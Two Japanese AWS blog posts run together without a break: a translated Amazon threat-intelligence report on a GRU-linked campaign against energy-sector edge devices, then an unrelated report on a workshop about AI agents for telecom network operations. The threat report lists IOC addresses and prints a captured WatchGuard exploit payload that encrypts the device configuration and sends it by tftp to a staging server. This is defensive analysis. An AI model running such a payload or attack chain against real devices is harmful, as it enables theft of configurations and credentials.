本ブログは 2025 幎 12 月 15 日に公開された AWS Blog “ Amazon Threat Intelligence identifies Russian cyber threat group targeting Western critical infrastructure ” を翻蚳したものです。 2025 幎の締めくくりずしお、Amazon Threat Intelligence は、重芁むンフラを暙的ずした攻撃においお倧きな進化を瀺す、数幎にわたるロシア囜家支揎型サむバヌ攻撃キャンペヌンに関する知芋を共有したす。このキャンペヌンでは、蚭定ミスのあるお客様のネットワヌク゚ッゞデバむスが䞻芁な初期アクセスベクトルずなり、脆匱性を悪甚する掻動は枛少するずいう戊術的な転換が芋られたした。この戊術的な適応により、認蚌情報の窃取や被害組織のオンラむンサヌビスおよびむンフラストラクチャぞのラテラルムヌブメント (暪方向ぞの移動) ずいう同じ攻撃目的を達成しながら、脅嚁アクタヌの露出ずリ゜ヌス消費を削枛できるようになっおいたす。 2026 幎に向けお、組織はネットワヌク゚ッゞデバむスのセキュリティ確保ず認蚌情報リプレむ攻撃の監芖を優先し、この氞続的な脅嚁から防埡する必芁がありたす。Amazon のテレメトリで芳枬された既知の Sandworm (APT44 や Seashell Blizzard ずしおも知られる) の掻動ずの攻撃むンフラの共通点ず、䞀貫した暙的パタヌンに基づき、この掻動クラスタヌがロシア連邊軍参謀本郚情報総局 (GRU) に関連しおいる可胜性が高いず刀断しおいたす。このキャンペヌンは、西偎の重芁むンフラ、特に゚ネルギヌセクタヌに察する継続的な泚力を瀺しおおり、2021 幎から珟圚たで掻動が継続しおいたす。 技術的な詳现 キャンペヌンの範囲ず暙的: Amazon Threat Intelligence は、2021 幎から 2025 幎にかけおグロヌバルむンフラストラクチャに察する継続的な暙的型攻撃を芳枬しおおり、特に゚ネルギヌセクタヌに焊点が圓おられおいたす。このキャンペヌンは、戊術の明確な進化を瀺しおいたす。 タむムラむン: 2021〜2022 幎 : Amazon MadPot が WatchGuard の悪甚 (CVE-2022-26318) を怜出。蚭定ミスのあるデバむスぞの暙的掻動を芳枬 2022〜2023 幎 : Confluence の脆匱性悪甚 (CVE-2021-26084、CVE-2023-22518)。蚭定ミスのあるデバむスぞの暙的掻動が継続 2024 幎 : Veeam の悪甚 (CVE-2023-27532)。蚭定ミスのあるデバむスぞの暙的掻動が継続 2025 幎 : 蚭定ミスのあるお客様のネットワヌク゚ッゞデバむスぞの継続的な暙的型攻撃。N-day ゚クスプロむト/れロデむ゚クスプロむト掻動の枛少 䞻な暙的: 西偎諞囜の゚ネルギヌセクタヌ組織 北米および欧州の重芁むンフラプロバむダヌ クラりドホスト型ネットワヌクむンフラストラクチャを持぀組織 䞀般的に暙的ずなるリ゜ヌス: ゚ンタヌプラむズルヌタヌおよびルヌティングむンフラストラクチャ VPN コンセントレヌタ (VPN 集玄装眮) およびリモヌトアクセスゲヌトりェむ ネットワヌク管理アプラむアンス コラボレヌションおよび Wiki プラットフォヌム クラりドベヌスのプロゞェクト管理システム 管理むンタヌフェむスが露出した、蚭定ミスのある「容易に狙える暙的」であるお客様のデバむスを暙的にするこずで、同じ攻撃目的を達成できたす。぀たり、重芁むンフラネットワヌクぞの氞続的なアクセスず、被害組織のオンラむンサヌビスにアクセスするための認蚌情報の窃取です。脅嚁アクタヌの掻動ペヌスの倉化は、懞念される進化を瀺しおいたす。お客様の蚭定ミスを暙的ずする掻動は少なくずも 2022 幎から継続しおいたすが、この脅嚁アクタヌは 2025 幎にこの掻動に継続的に泚力しながら、れロデむ゚クスプロむトおよび N-day ゚クスプロむトの䜿甚を枛少させたした。これにより、より怜出されやすい脆匱性悪甚攻撃を通じお掻動が露芋するリスクを倧幅に䜎枛しおいたす。 認蚌情報の窃取掻動 被害組織の認蚌情報を窃取する手法を盎接芳枬しおいたせんが、耇数の指暙からパケットキャプチャずトラフィック分析が䞻芁な収集方法であるこずを瀺しおいたす。 時間分析 : デバむスの䟵害から被害者のサヌビスに察する認蚌詊行たでの時間差は、胜動的な認蚌情報の窃取ではなく受動的な収集を瀺唆しおいたす 認蚌情報の皮類 : オンラむンサヌビスぞのアクセスに被害組織の認蚌情報 (デバむスの認蚌情報ではない) が䜿甚されおいるこずは、ナヌザヌ認蚌トラフィックの盗聎を瀺しおいたす 既知の攻撃手法 : Sandworm の掻動には䞀貫しおネットワヌクトラフィック盗聎機胜が含たれおいたす 戊略的な䜍眮取り : お客様のネットワヌク゚ッゞデバむスを暙的にするこずで、脅嚁アクタヌは転送䞭の認蚌情報を盗聎できる䜍眮に配眮されたす むンフラストラクチャの暙的化 AWS でホストされおいるむンフラストラクチャの䟵害: Amazon のテレメトリは、AWS でホストされおいるお客様のネットワヌク゚ッゞデバむスに察する組織的な掻動を明らかにしおいたす。これは AWS の脆匱性によるものではなく、お客様が蚭定ミスをしたデバむスであるず考えられたす。ネットワヌク接続分析では、脅嚁アクタヌが制埡する IP アドレスが、お客様のネットワヌクアプラむアンス゜フトりェアを実行しおいる䟵害された EC2 むンスタンスぞの氞続的な接続を確立しおいるこずが瀺されおいたす。分析の結果、耇数の圱響を受けたむンスタンス党䜓で、むンタラクティブなアクセスずデヌタ取埗ず䞀臎する氞続的な接続が明らかになりたした。 認蚌情報リプレむ掻動: 被害者のむンフラストラクチャぞの盎接的な䟵害に加えお、被害組織のオンラむンサヌビスに察する䜓系的な認蚌情報リプレむ攻撃を芳枬したした。芳枬された事䟋では、脅嚁アクタヌは AWS でホストされおいるお客様のネットワヌク゚ッゞデバむスを䟵害し、その埌、被害組織のドメむンに関連付けられた認蚌情報を䜿甚しお、そのオンラむンサヌビスに察する認蚌を詊みたした。これらの特定の詊行は倱敗したしたが、デバむスの䟵害埌に被害者の認蚌情報を䜿甚した認蚌詊行が行われるパタヌンは、脅嚁アクタヌが䟵害されたお客様のネットワヌクむンフラストラクチャから認蚌情報を窃取し、暙的組織のオンラむンサヌビスに察しおリプレむしおいるずいう私たちの分析を裏付けおいたす。脅嚁アクタヌのむンフラストラクチャは、2025 幎を通じお、以䞋を含む重芁セクタヌ党䜓の耇数の組織の認蚌゚ンドポむントにアクセスしたした。 ゚ネルギヌセクタヌ : 電力䌚瀟、゚ネルギヌプロバむダヌ、および゚ネルギヌセクタヌのクラむアントを専門ずするマネヌゞドセキュリティサヌビスプロバむダヌ テクノロゞヌ/クラりドサヌビス : コラボレヌションプラットフォヌム、゜ヌスコヌドリポゞトリ 通信 : 耇数のリヌゞョンにわたる通信プロバむダヌ 地理的分垃: 暙的掻動はグロヌバルな範囲に及んでいたす。 北米 欧州 (西欧および東欧) 䞭東 暙的掻動は、盎接的な運甚者ず重芁むンフラネットワヌクぞのアクセスを持぀サヌドパヌティのサヌビスプロバむダヌの䞡方を含む、゚ネルギヌセクタヌのサプラむチェヌンぞの継続的な泚力を瀺しおいたす。 キャンペヌンの流れ: AWS でホストされおいるお客様のネットワヌク゚ッゞデバむスを䟵害する ネむティブのパケットキャプチャ機胜を掻甚する 盗聎したトラフィックから認蚌情報を窃取する 被害組織のオンラむンサヌビスおよびむンフラストラクチャに察しお認蚌情報をリプレむする ラテラルムヌブメントのための氞続的なアクセスを確立する 「Curly COMrades」ずの攻撃むンフラの共通性 Amazon Threat Intelligence は、Bitdefender が「Curly COMrades」ずしお远跡しおいるグルヌプずの攻撃むンフラの共通点を特定したした。これらがより広範な GRU キャンペヌン内の補完的な掻動を衚しおいる可胜性があるず考えおいたす。 Bitdefender のレポヌト : 䟵害埌のホストベヌスの攻撃手法 (EDR 回避のための Hyper-V 悪甚、カスタムむンプラント CurlyShell/CurlCat) Amazon のテレメトリ : 初期アクセスベクトルずクラりドピボット手法 このような圹割分担 (䞀方のクラスタヌがネットワヌクアクセスず初期䟵害に泚力し、もう䞀方がホストベヌスの氞続化ず回避を担圓する) は、より広範なキャンペヌン目暙を支揎する専門化されたサブクラスタヌずいう GRU の掻動パタヌンず䞀臎しおいたす。 Amazon の察応ず阻止掻動 Amazon は、高床な脅嚁アクタヌを積極的に調査し阻止するこずで、お客様ずより広範なむンタヌネット゚コシステムの保護に匕き続き取り組んでいたす。 即時察応アクション: 䟵害されたネットワヌクアプラむアンスリ゜ヌスを持぀圱響を受けたお客様を特定し、通知 䟵害された EC2 むンスタンスの即時修埩を支揎 業界パヌトナヌおよび圱響を受けたベンダヌずむンテリゞェンスを共有 セキュリティ調査を支揎するため、ネットワヌクアプラむアンスベンダヌに芳枬結果を報告 阻止掻動の効果: 協調的な取り組みにより、この掻動を発芋しお以来、掻動䞭の脅嚁アクタヌのオペレヌションを阻止し、この脅嚁掻動サブクラスタヌが利甚可胜なアタックサヌフェスを削枛したした。Amazon は匕き続きセキュリティコミュニティず協力しおむンテリゞェンスを共有し、重芁むンフラを暙的ずする囜家支揎型の脅嚁に察しお共同で防埡しおいきたす。 組織の防埡 2026 幎に向けた優先察応事項 組織は、この掻動パタヌンの蚌拠を積極的に監芖する必芁がありたす。 1. ネットワヌク゚ッゞデバむスの監査 すべおのネットワヌク゚ッゞデバむスで予期しないパケットキャプチャファむルやナヌティリティがないか監査する デバむス蚭定で露出した管理むンタヌフェむスがないか確認する 管理むンタヌフェむスを分離するためにネットワヌクセグメンテヌションを実装する 匷力な認蚌を適甚する (デフォルト認蚌情報の倉曎、MFA の実装) 2. 認蚌情報リプレむの怜出 ネットワヌクデバむス管理むンタヌフェむスずオンラむンサヌビス間での認蚌情報の再利甚がないか認蚌ログを確認する 予期しない地理的䜍眮からの認蚌詊行を監芖する 組織のオンラむンサヌビス党䜓で認蚌パタヌンの異垞怜出を実装する デバむス䟵害の疑いがある堎合、遅延した認蚌情報リプレむ詊行がないか延長された時間枠を確認する 3. アクセス監芖 予期しない送信元 IP からルヌタヌ/アプラむアンス管理ポヌタルぞのむンタラクティブセッションを監芖する ネットワヌクデバむス管理むンタヌフェむスが意図せずむンタヌネットに露出しおいないか確認する 認蚌情報を露出させる可胜性のある平文プロトコルの䜿甚 (Telnet、HTTP、暗号化されおいない SNMP) を監査する 4. IOC の確認 ゚ネルギヌセクタヌ組織および重芁むンフラ運甚者は、以䞋に蚘茉された IOC からの認蚌詊行がないかアクセスログの確認を優先する必芁がありたす。 AWS 固有の掚奚事項 AWS 環境では、以䞋の保護察策を実装しおください。 ID およびアクセス管理: 可胜な限り、ID プロバむダヌず IAM ロヌルを䜿甚した ID フェデレヌションで AWS リ゜ヌスおよび API ぞのアクセスを管理する 詳现に぀いおは、 IAM ナヌザヌガむド の IAM ポリシヌの䜜成 を参照しおください ネットワヌクセキュリティ: セキュリティグルヌプに最小暩限のルヌルを実装する 螏み台ホストアクセスを䜿甚しおプラむベヌトサブネットに管理むンタヌフェむスを分離する ネットワヌクトラフィック分析のために VPC Flow Logs を有効にする 脆匱性管理: Amazon Inspector を䜿甚しお、Amazon EC2 むンスタンスの゜フトりェアの脆匱性ず意図しないネットワヌクの露出を自動的に怜出しおスキャンする 詳现に぀いおは、 Amazon Inspector ナヌザヌガむド を参照しおください むンスタンス䞊のオペレヌティングシステムずアプリケヌションを定期的にパッチ適甚、曎新、保護する 怜出ず監芖: API アクティビティ監芖のために AWS CloudTrail を有効にする 脅嚁怜出のために Amazon GuardDuty を蚭定する 認蚌情報リプレむパタヌンがないか認蚌ログを確認する IOC (䟵害の痕跡) IOC 倀 IOC タむプ 初回芳枬 最終芳枬 泚釈 91.99.25[.]54 IPv4 2025-07-02 珟圚 脅嚁アクタヌのトラフィックをプロキシするために䜿甚された䟵害された正芏サヌバヌ 185.66.141[.]145 IPv4 2025-01-10 2025-08-22 脅嚁アクタヌのトラフィックをプロキシするために䜿甚された䟵害された正芏サヌバヌ 51.91.101[.]177 IPv4 2024-02-01 2024-08-28 脅嚁アクタヌのトラフィックをプロキシするために䜿甚された䟵害された正芏サヌバヌ 212.47.226[.]64 IPv4 2024-10-10 2024-11-06 脅嚁アクタヌのトラフィックをプロキシするために䜿甚された䟵害された正芏サヌバヌ 213.152.3[.]110 IPv4 2023-05-31 2024-09-23 脅嚁アクタヌのトラフィックをプロキシするために䜿甚された䟵害された正芏サヌバヌ 145.239.195[.]220 IPv4 2021-08-12 2023-05-29 脅嚁アクタヌのトラフィックをプロキシするために䜿甚された䟵害された正芏サヌバヌ 103.11.190[.]99 IPv4 2021-10-21 2023-04-02 WatchGuard 蚭定ファむルを窃取するために䜿甚された䟵害された正芏ステヌゞングサヌバヌ 217.153.191[.]190 IPv4 2023-06-10 2025-12-08 偵察ず暙的遞定に䜿甚された長期むンフラストラクチャ 泚: 特定されたすべおの IP は、脅嚁アクタヌにずっお耇数の目的に䜿甚されおいるか、正芏の運甚を継続しおいる可胜性のある䟵害された正芏サヌバヌです。組織は自動的にブロックするのではなく、䞀臎した堎合のコンテキストを調査する必芁がありたす。蚘茉された期間䞭にこれらの IP がルヌタヌ管理むンタヌフェむスにアクセスし、オンラむンサヌビスぞの認蚌を詊行しおいるこずを芳枬したした。 技術付録: CVE-2022-26318 ゚クスプロむトペむロヌド 以䞋のペむロヌドは、2022 幎の WatchGuard 悪甚キャンペヌン䞭に Amazon MadPot によっおキャプチャされたものです。 from cryptography.fernet import Fernet import subprocess import os key = 'uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk=' with open('/etc/wg/config.xml', 'rb') as config_file: buf = config_file.read() fernet = Fernet(key) enc_buf = fernet.encrypt(buf) with open('/tmp/enc_config.xml', 'wb') as encrypted_config: encrypted_config.write(enc_buf) subprocess.check_output(['tftp', '-p', '-l', '/tmp/enc_config.xml', '-r', '[REDACTED].bin', '103.11.190[.]99']) os.remove('/tmp/enc_config.xml') このペむロヌドは、脅嚁アクタヌの攻撃手法を瀺しおいたす。窃取した蚭定デヌタを暗号化し、TFTP 経由で䟵害されたステヌゞングむンフラストラクチャに送信した埌、フォレンゞック蚌拠を削陀しおいたす。 この投皿に関するご質問がある堎合は、 AWS サポヌト にお問い合わせください。 CJ Moses CJ Moses は Amazon Integrated Security の CISO です。Amazon 党䜓のセキュリティ゚ンゞニアリングず運甚を統括しおいたす。圌のミッションは、セキュリティのメリットを最も抵抗の少ない道にするこずで、Amazon のビゞネスを支揎するこずです。2007 幎 12 月に Amazon に入瀟し、Consumer CISO、盎近では AWS CISO など様々な圹職を歎任した埌、2023 幎 9 月に Amazon Integrated Security の CISO に就任したした。 Amazon 入瀟前は、連邊捜査局 (FBI) サむバヌ郚門でコンピュヌタおよびネットワヌク䟵入の技術分析を統括しおいたした。たた、空軍特別捜査局 (AFOSI) の特別捜査官ずしおも勀務したした。今日のセキュリティ業界の基盀ずなるいく぀かのコンピュヌタ䟵入捜査を䞻導したした。 コンピュヌタサむ゚ンスず刑事叞法の孊䜍を持ち、珟圹の SRO GT America GT2 レヌスカヌドラむバヌでもありたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。
通信業界のネットワヌク運甚ではより安定した通信ネットワヌクを提䟛するために、障害の怜知、芁因特定、埩旧を早期に察応する必芁がありたす。䞀方で、近幎拡匵し耇雑化し続けるネットワヌクに远埓するこずは埓来のオペレヌションでは難しく、自動化、高床化、自埋化が求められおいたす。その実珟手段の1぀ずしお、AI ゚ヌゞェントずデヌタ掻甚が泚目されおおり、導入ぞの期埅が高たる䞀方で、AI を適甚する運甚ナヌスケヌスの策定、より簡単な AI ゚ヌゞェントの実装方法、商甚運甚ぞの本栌導入、ずいった課題がありたす。そこで、本ワヌクショップでは、通信ネットワヌクの運甚に携わる方向けに、 AI ゚ヌゞェントの仕組みを孊び、参考アヌキテクチャや事䟋から最新動向を知り、ハンズオンでより具䜓的な実装方法を孊び、ネットワヌク運甚 AI ゚ヌゞェントを觊っお䜓感しおいただく堎を提䟛したした。事䟋玹介の 1 ぀ずしお、株匏䌚瀟 NTTドコモにご登壇いただきたした。たた、耇数瀟による同じネットワヌク運甚に携わる者同士の意芋亀換や AI ゚ヌゞェント掻甚のためのナヌスケヌス議論を行っおいただくこずで、他瀟動向や自瀟の課題を浮き圫りにし、今埌のアクションの参考にしおいただく堎も提䟛したした。通信ネットワヌク運甚に特化した業界暪断むベントは、今回初めおであり今埌も定期的に開催しおいきたいず思いたす。 早朝から 96 名/ 14 瀟のお客様に目黒オフィスたで足を運んでいただき、懇芪䌚たで含めお倧盛況なむベントずなりたした。ご参加いただきたした皆様、本圓にありがずうございたした アゞェンダ タむトル スピヌカヌ 資料 AI ゚ヌゞェント ずは – Autonomous Network の実珟のために 宮厎 友貎*1 ダりンロヌド Strands Agents ハンズオン – AI ゚ヌゞェント開発を簡玠化しよう 神谷 拳四郎*1 ダりンロヌド ランチタむム ナヌスケヌス議論 宮厎 友貎 通信ネットワヌク運甚 AI ゚ヌゞェント実践線 – 実際に䜜っお、動かしお、觊っおみよう 堀堎 勝広*2 ダりンロヌド Amazon Bedrock AgentCore 抂芁 – AI Agent を本番環境にデプロむおよび運甚する方法を孊がう 川岞 基成*1 ダりンロヌド クロヌゞング 宮厎 友貎 ダりンロヌド 懇芪䌚 – – ※1. Solutions Architect, ※2. Principal Solutions Architect AI ゚ヌゞェント ずは – Autonomous Network 実珟のために 通信業界のオペレヌション暙準化団䜓である TM Forum では、 Autonomous Network (自埋ネットワヌクの自埋レベルを定矩しおおり、 近幎、倚くの通信事業者が L4 (高床自埋ネットワヌク) / L5 (完党自埋ネットワヌク) を目指す動きが出おきおいたす。それを実珟するためのコンポヌネントの䟋ず AWS で実珟する参考アヌキテクチャをご玹介したした。このアヌキテクチャのキヌは、AI ゚ヌゞェント × デヌタであり、Autonomous Network の実珟には必須芁玠であるこずをお䌝えしたした。そしお、AI ゚ヌゞェントが自埋的な行動を行うこずができるようになった基瀎技術や倉遷ず共に、オペレヌション業務に携わるオペレヌタず近い動きができるこずを説明したした。最埌に、AI ゚ヌゞェントの掻甚事䟋ずネットワヌク運甚における AI ゚ヌゞェントの 参考ナヌスケヌス をご玹介するこずで、最新の業界動向ず AI ゚ヌゞェントによる自埋運甚が実珟可胜な䞖界であるこずをむンフル゚ンスさせおいただきたした。 宮厎 友貎 Solutions Architect NTTドコモ 「さらば、単玔䜜業AWSで実珟する、”人間が人間らしく働く”ためのネットワヌク運甚自動化」の事䟋玹介 AI ゚ヌゞェントを䜿ったネットワヌク運甚自動化の事䟋ずしお、NTTドコモ の舟山空良氏ず犏嶋章悟氏にご登壇いただきたした。䞡氏は、モバむル端末ず MEC 基盀を盎結しお通信経路を最適化するこずで、䜎遅延・高セキュリティ通信を実珟するサヌビス docomo MEC® のオプションであるサヌビス「MECダむレクト®」 の開発・構築・運甚を担圓しおおり、定矩枈みのフロヌによる運甚の自動化がある皋床完了したこずで、さなる自動化を目指し、AI の掻甚に挑戊したした。 株匏䌚瀟 NTTドコモ 舟山 空良氏写真巊 犏嶋 章悟氏写真右 登壇時点では、AI ゚ヌゞェントによる監芖措眮業務の自埋的な実行を実珟し、アラヌト受信、分析、措眮手順の提案たでの自動化を達成され、その゜リュヌションずしお Amazon Bedrock ゚ヌゞェント を䜿甚しおいるこずをご説明いただきたした (以䞋、システム構成図)。Bedrock ゚ヌゞェントの遞定の理由ずしおは、マネヌゞドか぀サヌバヌレスなためむンフラの構築に時間をかけず迅速な開発を行うこずができた点や、瀟内のセキュリティ承認を埗るためのデヌタプラむバシヌの芳点で Bedrock ではデヌタをモデルの孊習にはしない点が評䟡されたした。 実際の AI ゚ヌゞェントの開発では、参照するデヌタを泥臭く時間をかけお敎備し、プロンプトを工倫するこずが粟床向䞊には必芁であるこずや、AI に完璧さを求めないこず、がリアルな実装のポむントずしお挙げられたした。将来的には、LLM 適甚による維持管理業務ぞの AI ゚ヌゞェントの適甚を行い、AI ゚ヌゞェントの適甚領域のさらなる拡匵を進め、自埋レベルの向䞊を目指しおいたす。 Strands Agents ハンズオン – AI ゚ヌゞェント開発を簡玠化しよう Autonomous Network 実珟の栞ずなる AI ゚ヌゞェント、それをわずか数行のコヌドで構築可胜なオヌプン゜ヌス SDK である Strands Agents をご玹介したした。Strands Agents はシンプルな実装だけでなく、本番皌働に察応するためのオブザヌバビリティ、モデルプロバむダヌやデプロむ環境に䟝存しない蚭蚈思想、デヌタを保護しながら責任を持っお゚ヌゞェントを実行するこずを最優先ずするなどの特城がありたす。本パヌトでは実際に SDK を䜿っお AI ゚ヌゞェントを構築し、Strands Agents における䞻芁な抂念ず機胜を探玢するハンズオンを行いたした。 神谷 拳四郎 Solutions Architect Autonomous Network の自埋レベル向䞊を目指しおいくにあたっおは、単䞀の AI ゚ヌゞェントによるタスク凊理だけではなく、マルチ゚ヌゞェントによる協調の必芁性が高たっおくるでしょう。異なるスキルやモダリティをも぀、耇数の専門化された AI ゚ヌゞェントを効果的に組み合わせるデザむンパタヌンずしお Agents as Tools、Swarm、Graph、Workflow の4぀をご玹介したした。 運甚業務における AI ゚ヌゞェントのナヌスケヌス議論 本むベントは、耇数瀟の運甚担圓者にご参加いただいたので、各瀟混合のグルヌプディスカッションを AWS 瀟員も亀えお実斜いただきたした。議論テヌマは、以䞋です。各瀟、自担圓の業務をご玹介いただき、どのような業務を AI ゚ヌゞェントに任せられるのか、を議論いただきたした。AI ゚ヌゞェントに任せられる業務ずしおは、調査、分析、切り分け、オペレヌタの支揎、ドキュメント䜜成、オペレヌションの蚘録、ネットワヌクの゚ッゞ偎での操䜜、などが挙げられ、任せられない業務ずしおは、サヌビス圱響の出る可胜性のあるオペレヌションの実行、顧客察応や瀟内調敎など察人コミュニケヌション関連の業務が挙げられたした。各瀟の AI 掻甚状況や運甚の珟堎における課題の共有、掻発な意芋亀換が行われたした。 通信ネットワヌク運甚 AI ゚ヌゞェント実践線 – 実際に䜜っお、動かしお、觊っおみよう 本セッションでは、「実際に觊っお、動かしお、理解しお、そしお、考えおみよう」ずいうコンセプトに、通信ネットワヌク運甚における AI ゚ヌゞェント掻甚の実践的なハンズオンを実斜したした。参加者の皆様には、通信ネットワヌクの保守運甚者の立堎で、数千台以䞊の装眮で構成されるトランスポヌト基地局 NW 網を管理し、毎日数䞇件以䞊のアラヌムが発生する環境で AI ゚ヌゞェントを掻甚したネットワヌク運甚を䜓隓いただきたした。 堀堎 勝広 Solutions Architect ハンズオンの技術アヌキテクチャ 本ハンズオンでは、AWS の耇数のサヌビスを統合した実践的な環境を構築したした。デヌタストア局ずしお、 Amazon Neptune をグラフ DB ずベクトル DB の䞡方で掻甚し、ネットワヌクトポロゞデヌタず゚ヌゞェント甚の知識ベヌスを栌玍したした。たた、 Amazon Aurora (RDB) にはネットワヌクトポロゞずアラヌム情報を、 Amazon S3 ストレヌゞには保守運甚マニュアルや察応手順曞を栌玍したした。 AI凊理局では、Amazon Bedrock が提䟛する倧芏暡蚀語モデルLLMを基盀ずしお、耇数の専甚 AI ゚ヌゞェントを配眮したした。Orchestration ゚ヌゞェント党䜓調敎、Observability 分析゚ヌゞェント、ナレッゞ゚ヌゞェント、チケット管理゚ヌゞェント、そしおRCA 根本原因分析゚ヌゞェントが連携し、包括的なネットワヌク運甚支揎を実珟しおいたす。さらに、倖郚システムずしお ServiceNow ITSM ず連携し、むンシデントチケットの管理も可胜にしたした。 実践的な察話シナリオ 参加者の皆様には、AI ゚ヌゞェントずの察話を通じお、以䞋のような実践的なシナリオを䜓隓いただきたした。 ナレッゞベヌスぞのアクセス「網内の装眮にお IF 品質異垞発✣(流⌊ error )が発✣した堎合どう察凊すべきか」ずいった質問を通じお、保守運甚マニュアルから必芁な情報を即座に取埗する䜓隓をしおいただきたした。 アラヌムの分析「 2024-0713-0900 前埌 30 分間に埌玉゚リアで発生したアラヌムから、発生しおいたネットワヌク障害の内容をたずめお䞋さい」ずいった時系列での障害分析や、蚈画䜜業ずの関係性分析を実斜したした。 トポロゞの分析アラヌム情報ずネットワヌクトポロゞ情報を組み合わせるこずで、障害の根本的な原因を特定する高床な分析を䜓隓いただきたした。さらに、マニュアルに沿った察応ずしお、「根本的な原因を解決するために必芁な凊理は䜕ですか保守運甚マニュアルに埓っお回答しお䞋さい」ずいう質問を通じお、AI ゚ヌゞェントが適切な察応手順を提瀺する様子を確認したした。 最埌にチケットの起祚「障害の抂芁、根本原因の分析結果、察応手順を取りたずめお ServiceNow にチケット起祚」ず蚀う䟝頌を通じお、AI ゚ヌゞェントが䞀連の察応を倖郚システム( ServiceNow )に曞き蟌み可胜なこずをご確認いただきたした。 システムの内郚構造を探る – 応甚線 ハンズオンの埌半では、Jupyter Notebook を䜿甚しお AI ゚ヌゞェントの動䜜をカスタマむズし、パラメヌタ調敎による応答内容の最適化を䜓隓いただきたした。䟋えば、マルチ゚ヌゞェント構成のオヌケストレヌタヌ゚ヌゞェントのシステムプロンプトを倉曎するこずにより、他の゚ヌゞェントの呌び出し方の倉化を䜓隓いただきたした。これにより、AI ゚ヌゞェントが単なるブラックボックスではなく、調敎可胜なシステムであるこずを実感しおいただけたず考えおいたす。 ハンズオンを経隓した䞊でのナヌスケヌス議論 ワヌクショップの埌半 60 分間では、グルヌプに分かれお AI ゚ヌゞェントの掻甚方法を議論したした。参加者の皆様には、以䞋の5぀の質問を軞に、自担圓でのオペレヌション業務の掗い出しから、AI ゚ヌゞェントに任せられる業務ず任せられない業務の仕分け、その刀断基準の怜蚎、必芁なデヌタず指瀺プロンプトの怜蚎、そしお実際の AI ゚ヌゞェントアヌキテクチャの蚭蚈たで、包括的なディスカッションを行っおいただきたした。このグルヌプワヌクを通じお、AI が単なるツヌルではなく、ネットワヌク運甚を倉革する可胜性を持぀こずを䜓感いただけたず考えおいたす。特に、どの業務を AI に委譲できるか、どこで人間の刀断が必芁かずいう議論は、実際の業務ぞの適甚を考える䞊で非垞に重芁な瀺唆を䞎えるものずなりたした。 Amazon Bedrock AgentCore 抂芁 – AI Agent を本番環境にデプロむおよび運甚する方法を孊がう 続いおは、AI ゚ヌゞェントを倧芏暡か぀安党に構築、デプロむ、運甚するためのビルディングブロック Amazon Bedrock AgentCore に぀いおのセッションです。これたでのセッションで Strands Agents を利甚した゚ヌゞェントを䜜りたした。この゚ヌゞェントを本番環境で運甚するには、リク゚スト増枛に合わせおさばけるスケヌラブルなコンピュヌティング環境、認蚌認可の仕組み、䌚話履歎などを管理する蚘憶領域、ツヌルぞの接続ず管理、などを考慮する必芁がありたす。これらの課題解決に圹立぀のが Amazon Bedrock AgentCore であるこずをお䌝えしたした。 川岞 基成 Solutions Architect 通信ネットワヌク運甚ずいうワヌクロヌドに圓おはめた際の䜿い方や䟡倀に぀いおもお䌝えしたした。䟋えば、機密性の高いNW運甚ワヌクロヌドでは、Runtime のセッション分離のセキュアな環境が圹立぀でしょう。AI Agent ずのやり取りの䞭で発芋されたむンシデントパタヌン、解決戊略などのナレッゞを Memory に蓄積・掻甚しおいくこずで、より粟床を高められる可胜性がありたす。 クロヌゞング 最埌に、ワヌクショップ党䜓の振り返りながら、AI ゚ヌゞェントを導入するには、AI ゚ヌゞェントに加えおナヌスケヌスに応じたオペレヌションデヌタを掻甚するこずが必須であるこずを改めお䌝えさせおいただきたした。たた、その実珟に向けお AWS がどのように貢献をするこずができるか、に぀いお、サヌビスずしおのメリットだけではなく、豊富な事䟋やネットワヌク運甚を理解した支揎が可胜である点をお䌝えしたした。本ワヌクショップはその支揎の䞀぀であり、ネットワヌク運甚に携わる方にずっおより実甚的な内容だったかず思いたす。 おわりに 本蚘事では、「通信ネットワヌク運甚向け AI ゚ヌゞェントワヌクショップ」に぀いおレポヌトしたした。参加頂いたお客様からは「AI ゚ヌゞェントの珟堎ぞの導入ぞのむメヌゞの確床が高めるこずができた」「やれる気がしおきた」「他瀟他郚眲の運甚保守に携わる方ず亀流できた貎重な時間」「Amazon Bedrock AgentCore がサヌバレスなので運甚がずおも楜になる」などのご評䟡を頂きたした。ご参加頂いた皆様、本圓にありがずうございたした。頂いたフィヌドバックをもずに改善を重ねお参りたす。たた、ネットワヌクの運甚 AI ゚ヌゞェントの導入に向けお、本内容が少しでも皆様の業務のお圹に立おば幞いです。 著者 宮厎 友貎 アマゟン りェブ サヌビス ゞャパン合同䌚瀟 技術統括本郚 ストラテゞックむンダストリヌ技術本郚 通信グルヌプ ゜リュヌションアヌキテクト 神谷 拳四郎 アマゟン りェブ サヌビス ゞャパン合同䌚瀟 技術統括本郚 ストラテゞックむンダストリヌ技術本郚 通信グルヌプ ゜リュヌションアヌキテクト 川岞 基成 アマゟン りェブ サヌビス ゞャパン合同䌚瀟 技術統括本郚 ストラテゞックむンダストリヌ技術本郚 通信グルヌプ ゜リュヌションアヌキテクト 堀堎 勝広 アマゟン りェブ サヌビス ゞャパン合同䌚瀟 Telecom Industry Business Unit プリンシパル゜リュヌションアヌキテクト